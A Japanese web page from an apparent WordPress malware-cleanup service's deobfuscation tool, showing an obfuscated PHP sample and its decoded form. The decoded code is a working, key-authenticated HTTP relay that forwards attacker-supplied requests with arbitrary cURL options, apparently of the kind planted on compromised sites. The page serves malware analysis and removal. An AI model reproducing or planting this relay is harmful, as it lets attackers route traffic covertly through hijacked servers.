Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php $secretKey='adc0874c0599dc12855c84d784d7bb03ee3ffdc6bd32b6136168884ddcf3da19';function s($i){$a=['YmFzZTY0X2RlY29kZQ==','aHR0cF9yZXNwb25zZV9jb2Rl','aGVhZGVy','anNvbl9lbmNvZGU=','Y3VybF9pbml0','Y3VybF9zZXRvcHQ=','Y3VybF9leGVj','Y3VybF9nZXRpbmZv','Y3VybF9lcnJvcg==','Y3VybF9jbG9zZQ==','ZmlsZV9...



難読化されたPHPコード

<?php $secretKey='adc0874c0599dc12855c84d784d7bb03ee3ffdc6bd32b6136168884ddcf3da19';function s($i){$a=['YmFzZTY0X2RlY29kZQ==','aHR0cF9yZXNwb25zZV9jb2Rl','aGVhZGVy','anNvbl9lbmNvZGU=','Y3VybF9pbml0','Y3VybF9zZXRvcHQ=','Y3VybF9leGVj','Y3VybF9nZXRpbmZv','Y3VybF9lcnJvcg==','Y3VybF9jbG9zZQ==','ZmlsZV9nZXRfY29udGVudHM=','c3RydG91cHBlcg==','aGFzaF9obWFj','aGFzaF9lcXVhbHM==','ZGVmaW5lZA==','Y29uc3RhbnQ==','c2hhMjU2','SFRUUF9YX0FVVEhfVElNRVNUQU1Q','SFRUUF9YX0FVVEhfSEFTSA==','Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29u','c3VjY2Vzcw==','ZXJyb3I=','QXV0aGVudGljYXRpb24gZmFpbGVkLiBJbnZhbGlkIGhlYWRlcnMu','QXV0aGVudGljYXRpb24gZmFpbGVkLiBFeHBpcmVkIHRpbWVzdGFtcC4=','QXV0aGVudGljYXRpb24gZmFpbGVkLiBJbnZhbGlkIGhhc2gu','cGhwOi8vaW5wdXQ=','dXJs','bWV0aG9k','TWlzc2luZyByZXF1aXJlZCBwYXJhbWV0ZXJzOiAi','IiBhbmQgIg==','Ii4=','aGVhZGVycw==','ZGF0YQ==','Y3VybF9vcHRpb25z','UE9TVA==','R0VU','cGhwOi8vdGVtcA==','w+','Y1VSTCBFcnJvcjog','aHR0cF9jb2Rl','ZGVidWc=','dmVyYm9zZV9sb2c=','cmVxdWVzdF9kYXRh','cmVzcG9uc2U=','anNvbl9kZWNvZGU='];static $d=[];if(isset($d[$i])){return $d[$i];}$b='base64_decode';if($i==37){return $d[$i]=$a[$i];}return $d[$i]=$b($a[$i]);}$O0O0O0O2=300;if(isset($_SERVER[s(17)])&&isset($_SERVER[s(18)]))goto o0o0o0o1;$f=s(1);$f(401);$f=s(2);$f(s(19));$f=s(3);echo $f([s(20)=>false,s(21)=>s(22)]);exit;o0o0o0o1:$O0O0O0O3=(int)$_SERVER[s(17)];$O0O0O0O4=$_SERVER[s(18)];if((time()-$O0O0O0O3)<=$O0O0O0O2)goto o0o0o0o2;$f=s(1);$f(401);$f=s(2);$f(s(19));$f=s(3);echo $f([s(20)=>false,s(21)=>s(23)]);exit;o0o0o0o2:$f=s(12);$O0O0O0O5=$f(s(16),$O0O0O0O3,$secretKey);$f=s(13);if($f($O0O0O0O5,$O0O0O0O4))goto o0o0o0o3;$f=s(1);$f(401);$f=s(2);$f(s(19));$f=s(3);echo $f([s(20)=>false,s(21)=>s(24)]);exit;o0o0o0o3:$f1=s(44);$f2=s(10);$O0O0O0O6=$f1($f2(s(25)),true);$O0O0O0O7=s(26);$O0O0O0O8=s(27);if(isset($O0O0O0O6[$O0O0O0O7])&&isset($O0O0O0O6[$O0O0O0O8]))goto o0o0o0o4;$f=s(1);$f(400);$f=s(2);$f(s(19));$f=s(3);echo $f([s(20)=>false,s(21)=>s(28).$O0O0O0O7.s(29).$O0O0O0O8.s(30)]);exit;o0o0o0o4:$O0O0O0O9=$O0O0O0O6[$O0O0O0O7];$f=s(11);$O0O0O0Oa=$f($O0O0O0O6[$O0O0O0O8]);$O0O0O0Ob=isset($O0O0O0O6[s(31)])?(array)$O0O0O0O6[s(31)]:[];$O0O0O0Oc=$O0O0O0O6[s(32)]?? null;$O0O0O0Od=isset($O0O0O0O6[s(33)])?(array)$O0O0O0O6[s(33)]:[];$f=s(4);$O0O0O0Oe=$f();$f=s(5);$f($O0O0O0Oe,CURLOPT_URL,$O0O0O0O9);if($O0O0O0Oa===s(34)){$f($O0O0O0Oe,CURLOPT_POST,1);if($O0O0O0Oc!==null){$f($O0O0O0Oe,CURLOPT_POSTFIELDS,$O0O0O0Oc);}}else if($O0O0O0Oa===s(35)){$f($O0O0O0Oe,CURLOPT_CUSTOMREQUEST,s(35));}else{$f($O0O0O0Oe,CURLOPT_CUSTOMREQUEST,$O0O0O0Oa);if($O0O0O0Oc!==null){$f($O0O0O0Oe,CURLOPT_POSTFIELDS,$O0O0O0Oc);}}$O0O0O0Of=!empty($O0O0O0Ob)?$O0O0O0Ob:[];$f($O0O0O0Oe,CURLOPT_HTTPHEADER,$O0O0O0Of);$f($O0O0O0Oe,CURLOPT_RETURNTRANSFER,1);$f($O0O0O0Oe,CURLOPT_HEADER,0);$f_defined=s(14);$f_constant=s(15);foreach($O0O0O0Od as $O0O0O0O10=>$O0O0O0O11){if($f_defined($O0O0O0O10)){$f($O0O0O0Oe,$f_constant($O0O0O0O10),$O0O0O0O11);}}$f($O0O0O0Oe,CURLOPT_VERBOSE,1);$O0O0O0O12=fopen(s(36),s(37));$f($O0O0O0Oe,CURLOPT_STDERR,$O0O0O0O12);$f_exec=s(6);$O0O0O0O13=$f_exec($O0O0O0Oe);$f_getinfo=s(7);$O0O0O0O14=$f_getinfo($O0O0O0Oe,CURLINFO_HTTP_CODE);$f_error=s(8);$O0O0O0O15=$f_error($O0O0O0Oe);rewind($O0O0O0O12);$O0O0O0O16=stream_get_contents($O0O0O0O12);$f_close=s(9);$f_close($O0O0O0Oe);if(!$O0O0O0O15)goto o0o0o0o5;$f=s(1);$f(500);$f=s(2);$f(s(19));$O0O0O0O19=[s(20)=>false,s(21)=>s(38).$O0O0O0O15,s(39)=>$O0O0O0O14,];if(isset($O0O0O0O6[s(40)])&&$O0O0O0O6[s(40)]){$O0O0O0O19[s(40)]=[s(41)=>$O0O0O0O16,s(42)=>$O0O0O0Oc ?? null,];}$f=s(3);echo $f($O0O0O0O19);exit;o0o0o0o5:$f=s(1);$f(200);$f=s(2);$f(s(19));$O0O0O0O1a=[s(20)=>true,s(43)=>$O0O0O0O13,s(39)=>$O0O0O0O14];if(isset($O0O0O0O6[s(40)])&&$O0O0O0O6[s(40)]){$O0O0O0O1a[s(40)]=[s(41)=>$O0O0O0O16,s(42)=>$O0O0O0Oc ?? null,];}$f=s(3);echo $f($O0O0O0O1a);exit;

デコード(難読化解除)されたコード

<?php

$secretKey = 'adc0874c0599dc12855c84d784d7bb03ee3ffdc6bd32b6136168884ddcf3da19';
function s($i)
{
    $a = ['YmFzZTY0X2RlY29kZQ==', 'aHR0cF9yZXNwb25zZV9jb2Rl', 'aGVhZGVy', 'anNvbl9lbmNvZGU=', 'Y3VybF9pbml0', 'Y3VybF9zZXRvcHQ=', 'Y3VybF9leGVj', 'Y3VybF9nZXRpbmZv', 'Y3VybF9lcnJvcg==', 'Y3VybF9jbG9zZQ==', 'ZmlsZV9nZXRfY29udGVudHM=', 'c3RydG91cHBlcg==', 'aGFzaF9obWFj', 'aGFzaF9lcXVhbHM==', 'ZGVmaW5lZA==', 'Y29uc3RhbnQ==', 'c2hhMjU2', 'SFRUUF9YX0FVVEhfVElNRVNUQU1Q', 'SFRUUF9YX0FVVEhfSEFTSA==', 'Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29u', 'c3VjY2Vzcw==', 'ZXJyb3I=', 'QXV0aGVudGljYXRpb24gZmFpbGVkLiBJbnZhbGlkIGhlYWRlcnMu', 'QXV0aGVudGljYXRpb24gZmFpbGVkLiBFeHBpcmVkIHRpbWVzdGFtcC4=', 'QXV0aGVudGljYXRpb24gZmFpbGVkLiBJbnZhbGlkIGhhc2gu', 'cGhwOi8vaW5wdXQ=', 'dXJs', 'bWV0aG9k', 'TWlzc2luZyByZXF1aXJlZCBwYXJhbWV0ZXJzOiAi', 'IiBhbmQgIg==', 'Ii4=', 'aGVhZGVycw==', 'ZGF0YQ==', 'Y3VybF9vcHRpb25z', 'UE9TVA==', 'R0VU', 'cGhwOi8vdGVtcA==', 'w+', 'Y1VSTCBFcnJvcjog', 'aHR0cF9jb2Rl', 'ZGVidWc=', 'dmVyYm9zZV9sb2c=', 'cmVxdWVzdF9kYXRh', 'cmVzcG9uc2U=', 'anNvbl9kZWNvZGU='];
    static $d = array();
    if (isset($d[$i])) {
        return $d[$i];
    }
    $b = 'base64_decode';
    if ($i == 37) {
        return $d[$i] = $a[$i];
    }
    return $d[$i] = $b($a[$i]);
}
$O0O0O0O2 = 300;
if (isset($_SERVER[s(17)]) && isset($_SERVER[s(18)])) {
    $O0O0O0O3 = (int) $_SERVER[s(17)];
    $O0O0O0O4 = $_SERVER[s(18)];
    if (time() - $O0O0O0O3 <= $O0O0O0O2) {
        $f = s(12);
        $O0O0O0O5 = $f(s(16), $O0O0O0O3, $secretKey);
        $f = s(13);
        if ($f($O0O0O0O5, $O0O0O0O4)) {
            $f1 = s(44);
            $f2 = s(10);
            $O0O0O0O6 = $f1($f2(s(25)), true);
            $O0O0O0O7 = s(26);
            $O0O0O0O8 = s(27);
            if (isset($O0O0O0O6[$O0O0O0O7]) && isset($O0O0O0O6[$O0O0O0O8])) {
                $O0O0O0O9 = $O0O0O0O6[$O0O0O0O7];
                $f = s(11);
                $O0O0O0Oa = $f($O0O0O0O6[$O0O0O0O8]);
                $O0O0O0Ob = isset($O0O0O0O6[s(31)]) ? (array) $O0O0O0O6[s(31)] : [];
                $O0O0O0Oc = $O0O0O0O6[s(32)] ?? null;
                $O0O0O0Od = isset($O0O0O0O6[s(33)]) ? (array) $O0O0O0O6[s(33)] : [];
                $f = s(4);
                $O0O0O0Oe = $f();
                $f = s(5);
                $f($O0O0O0Oe, CURLOPT_URL, $O0O0O0O9);
                if ($O0O0O0Oa === s(34)) {
                    $f($O0O0O0Oe, CURLOPT_POST, 1);
                    if ($O0O0O0Oc !== null) {
                        $f($O0O0O0Oe, CURLOPT_POSTFIELDS, $O0O0O0Oc);
                    }
                } else {
                    if ($O0O0O0Oa === s(35)) {
                        $f($O0O0O0Oe, CURLOPT_CUSTOMREQUEST, s(35));
                    } else {
                        $f($O0O0O0Oe, CURLOPT_CUSTOMREQUEST, $O0O0O0Oa);
                        if ($O0O0O0Oc !== null) {
                            $f($O0O0O0Oe, CURLOPT_POSTFIELDS, $O0O0O0Oc);
                        }
                    }
                }
                $O0O0O0Of = !empty($O0O0O0Ob) ? $O0O0O0Ob : [];
                $f($O0O0O0Oe, CURLOPT_HTTPHEADER, $O0O0O0Of);
                $f($O0O0O0Oe, CURLOPT_RETURNTRANSFER, 1);
                $f($O0O0O0Oe, CURLOPT_HEADER, 0);
                $f_defined = s(14);
                $f_constant = s(15);
                foreach ($O0O0O0Od as $O0O0O0O10 => $O0O0O0O11) {
                    if ($f_defined($O0O0O0O10)) {
                        $f($O0O0O0Oe, $f_constant($O0O0O0O10), $O0O0O0O11);
                    }
                }
                $f($O0O0O0Oe, CURLOPT_VERBOSE, 1);
                $O0O0O0O12 = fopen(s(36), s(37));
                $f($O0O0O0Oe, CURLOPT_STDERR, $O0O0O0O12);
                $f_exec = s(6);
                $O0O0O0O13 = $f_exec($O0O0O0Oe);
                $f_getinfo = s(7);
                $O0O0O0O14 = $f_getinfo($O0O0O0Oe, CURLINFO_HTTP_CODE);
                $f_error = s(8);
                $O0O0O0O15 = $f_error($O0O0O0Oe);
                rewind($O0O0O0O12);
                $O0O0O0O16 = stream_get_contents($O0O0O0O12);
                $f_close = s(9);
                $f_close($O0O0O0Oe);
                if (!$O0O0O0O15) {
                    $f = s(1);
                    $f(200);
                    $f = s(2);
                    $f(s(19));
                    $O0O0O0O1a = [s(20) => true, s(43) => $O0O0O0O13, s(39) => $O0O0O0O14];
                    if (isset($O0O0O0O6[s(40)]) && $O0O0O0O6[s(40)]) {
                        $O0O0O0O1a[s(40)] = [s(41) => $O0O0O0O16, s(42) => $O0O0O0Oc ?? null];
                    }
                    $f = s(3);
                    echo $f($O0O0O0O1a);
                    exit;
                }
                $f = s(1);
                $f(500);
                $f = s(2);
                $f(s(19));
                $O0O0O0O19 = [s(20) => false, s(21) => s(38) . $O0O0O0O15, s(39) => $O0O0O0O14];
                if (isset($O0O0O0O6[s(40)]) && $O0O0O0O6[s(40)]) {
                    $O0O0O0O19[s(40)] = [s(41) => $O0O0O0O16, s(42) => $O0O0O0Oc ?? null];
                }
                $f = s(3);
                echo $f($O0O0O0O19);
                exit;
            }
            $f = s(1);
            $f(400);
            $f = s(2);
            $f(s(19));
            $f = s(3);
            echo $f([s(20) => false, s(21) => s(28) . $O0O0O0O7 . s(29) . $O0O0O0O8 . s(30)]);
            exit;
        }
        $f = s(1);
        $f(401);
        $f = s(2);
        $f(s(19));
        $f = s(3);
        echo $f([s(20) => false, s(21) => s(24)]);
        exit;
    }
    $f = s(1);
    $f(401);
    $f = s(2);
    $f(s(19));
    $f = s(3);
    echo $f([s(20) => false, s(21) => s(23)]);
    exit;
}
$f = s(1);
$f(401);
$f = s(2);
$f(s(19));
$f = s(3);
echo $f([s(20) => false, s(21) => s(22)]);
exit;


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.